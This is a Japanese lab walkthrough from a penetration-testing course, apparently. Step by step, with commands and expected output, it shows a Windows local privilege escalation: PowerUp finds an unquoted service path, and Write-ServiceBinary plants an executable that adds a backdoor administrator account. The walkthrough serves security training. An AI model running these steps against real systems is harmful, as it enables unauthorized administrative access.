Lab 3.1: Windows 権限昇格
Offline Exercise
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。インターネットアクセスが必要になります。
目的
- PowerUpを使用してローカル権限昇格の問題を発見します
- Windowsサービス設定の問題を悪用してローカル権限を昇格します
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Windows
このラボではWindows VMを起動するだけで済みます。
以前にこのラボを実行したことがある場合は、簡単なクリーンアップを実行しましょう。
デスクトップ上のTerminal
という名前のリンクをクリックしてPowerShellターミナルを開き、次のコマンドを入力します:
コマンド
net localgroup administrators john /del
net user john /del
rm "C:\Program Files\VideoStream\1337.exe"
ラボ - ステップバイステップの手順
1. Windowsにログオンする
制限付きユーザーとしてWindowsにログオンします。ユーザー名とパスワードはそれぞれnotadmin
とnotadmin
です。ラボの手順が表示されているブラウザウィンドウを閉じる可能性があるため、パスワードはユーザー名と同じであることを覚えておいてください。
Windowsからログアウトします。スタートメニューをクリックし、左下の人型アイコンをクリックし、省略記号(...
)をクリックしてから「サインアウト」をクリックします。
以下の認証情報でWindowsマシンにログオンします:
- ユーザー名:
notadmin
- パスワード:
notadmin
これは管理者権限のない標準ユーザーです。sec560
アカウントは既にローカル管理者権限を持っているため、使用しません。
2. PowerUp.ps1を実行する
PowerShellスクリプトPowerUp.ps1
を試してみましょう。これは純粋なPowerShellスクリプトであるため、ネイティブバイナリを実行するよりもターゲットマシンで実行できる可能性が高くなります。後者の場合、例えばアプリケーション制御により実行ファイルがブロックされる可能性があります。
PowerUp.ps1を起動するには、デスクトップ上のPowerShell
ショートカットをクリックして別のPowerShellターミナルを開き、次を実行します:
コマンド
Import-Module C:\bin\PowerUp.ps1
想定される結果
PS C:\Windows\System32\WindowsPowerShell\v1.0> Import-Module C:\bin\PowerUp.ps1
では、チェックを実行しましょう。
コマンド
Invoke-AllChecks
想定される結果
C:\Windows\System32\WindowsPowerShell\v1.0> Invoke-AllChecks
ServiceName : Video Stream
Path : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart : False
Name : Video Stream
Check : Unquoted Service Paths
ServiceName : Video Stream
Path : C:\Program Files\VideoStream\1337 Log\checklog.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'Video Stream' -Path <HijackPath>
CanRestart : False
Name : Video Stream
Check : Unquoted Service Paths
[...trimmed for brevity...]
このコマンドは数秒かかります。PowerUp.ps1がすべての権限昇格チェックを実行するためです。
1つのツールだけを実行すると偽陰性に注意してください!
3. PowerUpの結果を確認する
PowerUpはいくつかの興味深い結果を返すはずです:
- サービス
Video Stream
の引用符で囲まれていないサービスパス - %PATH%ディレクトリ内の多数のDLLハイジャッキングの脆弱性の可能性
- サービス実行ファイルと権限に関連する多数の脆弱性
PowerUpの結果は常に手動での検証が必要です。どのツールでもネストされた権限を不適切に解析する可能性があるためです。報告された問題を悪用してみましょう!
4. サービスビューで'Video Stream'サービスを確認する
既存のPowerShellウィンドウ内でservices.mscビューを開きましょう:
コマンド
services.msc
サービスリストでVideo Stream
サービスまでスクロールし、ダブルクリックします。Video Streamサービスにリンクされた詳細が表示され、**実行ファイルへのパス**が引用符で囲まれていないことに気づくでしょう。
それを悪用しましょう!
5. PowerUpを使用して脆弱性を悪用する
PowerUpは、特定された脆弱性を悪用する便利な方法を提供します。PowerUpによって報告されたエントリを確認すると、AbuseFunction
が含まれていることがわかります。これは、特定された問題の悪用を試みるための簡単なコピー&ペースト構文を提供します。
コース中に説明された引用符で囲まれていないサービスパスの問題を悪用しています。実際のサービス実行ファイルはC:\Program Files\VideoStream\1337 Log\
フォルダに配置されており、完全なパスの周りに引用符がないため、WindowsはC:\Program.exe
またはC:\Program Files\VideoStream\1337.exe
も実行しようとします。
では、「HijackPath」を適応させて、書き込み可能な実行ファイルを指すようにしましょう:
コマンド
Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'
想定される結果
C:\Windows\System32\WindowsPowerShell\v1.0> Write-ServiceBinary -ServiceName 'Video Stream' -Path 'C:\Program Files\VideoStream\1337.exe'
ServiceName Path Command
----------- ---- -------
Video Stream C:\Program Files\VideoStream\1337.exe net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add
上記のPowerUpコマンドは、悪意のある実行ファイルをターゲットの場所に書き込みます。AbuseFunction
を実行した結果、PowerShellによって書き込まれた実行ファイルが、パスワードPassword123!
を持つjohn
というユーザーを作成することがわかります。その後、このユーザーはローカル管理者グループに追加されます。
6. コンピューターを再起動する
PowerShellのabuse関数が実行されたら、C:\Program Files\VideoStream\1337.exe
ファイルが存在するか確認します。存在する場合、実行ファイルがNT AUTHORITY\SYSTEMとして実行されるように、サービスを再起動する必要があります。
これは自動起動サービスなので、解決策は非常に簡単です: システムを再起動します!
コマンド
shutdown /r /t 0
制限付きユーザーでもシステムを再起動できます。ペネトレーションテストでそのような権限すら持っていない場合は、電源プラグを抜いたり、電源ボタンを長押ししたりして、システムを強制的に電源サイクルできる可能性があります。
7. Windowsにログオンする
ユーザー認証情報で再度Windowsマシンにログオンします:
- ユーザー名:
notadmin
- パスワード:
notadmin
8. ユーザーが追加されたことを確認する
ユーザーjohn
が実際に作成され、ローカル管理者グループに追加されたことを確認しましょう。これを確認するには、PowerShellウィンドウで次のコマンドを実行します:
コマンド
net users
想定される結果
PS C:\bin> net users
User accounts for \\SEC560-WINDOWS
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
john notadmin sec560
WDAGUtilityAccount
The command completed successfully.
コマンド
net localgroup Administrators
想定される結果
PS C:\bin> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
john
sec560
The command completed successfully.
おめでとうございます! 管理者権限のない制限付きユーザーから、ローカル管理者権限を持つユーザーに昇格しました。ハッシュのダンプ、新しいタイプの永続化など、まったく新しい一連の攻撃が利用可能になりました。すべてのペネトレーションテストの目標で管理者権限が必要なわけではありませんが、管理者権限は非常に便利です - 特にすべてのユーザーがリモートでログインできるRDPサーバーに対して実行する場合です。
必要に応じて、現在のユーザーからログアウトしてから、ローカルAdministratorsグループのメンバーになった新しいユーザーjohn
としてログインしてください。
完了したら、notadmin
(またはjohn
)ユーザーアカウントからログアウトし、次のラボの準備としてsec560
ユーザーアカウントに戻ります。sec560
アカウントのデフォルトパスワードは、変更していない限りsec560
です。
まとめ
PowerUpを使用してローカル権限昇格の脆弱性を検出し悪用する方法を特定しました。これらのツールを使用して、権限を昇格し、管理者権限を持つ新しいユーザーをシステム上に作成することができました。